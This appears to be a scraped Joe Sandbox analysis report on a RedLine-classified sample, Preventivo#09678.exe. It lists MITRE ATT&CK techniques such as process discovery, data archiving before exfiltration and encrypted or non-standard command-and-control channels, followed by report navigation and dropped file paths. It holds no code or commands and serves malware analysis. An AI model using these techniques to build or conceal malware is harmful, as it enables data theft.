Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Preventivo#09678.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Preventivo#09678_94f6bbbdc68a34d48fcce9aab1a64036c9bb21_275c6d1b_c344c99d-faf4-462c-846b-e2080a1d818c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF7B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD141.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD180.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.log

C:\Users\user\AppData\Local\Temp\tmp47F8.tmp

C:\Users\user\AppData\Local\Temp\tmp4809.tmp

C:\Users\user\AppData\Local\Temp\tmp4829.tmp

C:\Users\user\AppData\Local\Temp\tmp482A.tmp

C:\Users\user\AppData\Local\Temp\tmp483B.tmp

C:\Users\user\AppData\Local\Temp\tmp483C.tmp

C:\Users\user\AppData\Local\Temp\tmp484C.tmp

C:\Users\user\AppData\Local\Temp\tmp485D.tmp

C:\Users\user\AppData\Local\Temp\tmp485E.tmp

Windows Analysis Report
Preventivo#09678.exe